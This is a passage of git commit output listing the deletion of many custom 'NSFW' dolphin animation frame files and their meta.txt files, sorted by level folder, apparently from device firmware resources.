100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_32.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_33.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_34.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_35.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_36.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_37.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_38.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_39.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_40.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_41.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_42.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_43.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_44.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_45.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_46.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_47.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_48.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_49.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_11/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_12/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_13/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_14/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_15/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_16/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_17/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_18/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_19/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_2/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_20/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_21/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_32.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_33.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_34.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_35.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_36.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_37.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_38.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_39.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_40.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_41.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_42.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_43.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_44.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_45.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_46.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_47.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_48.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_49.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_50.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_51.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_52.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_53.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_54.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_55.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_56.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_57.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_58.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_59.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_22/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_6.bm delete mode 100644 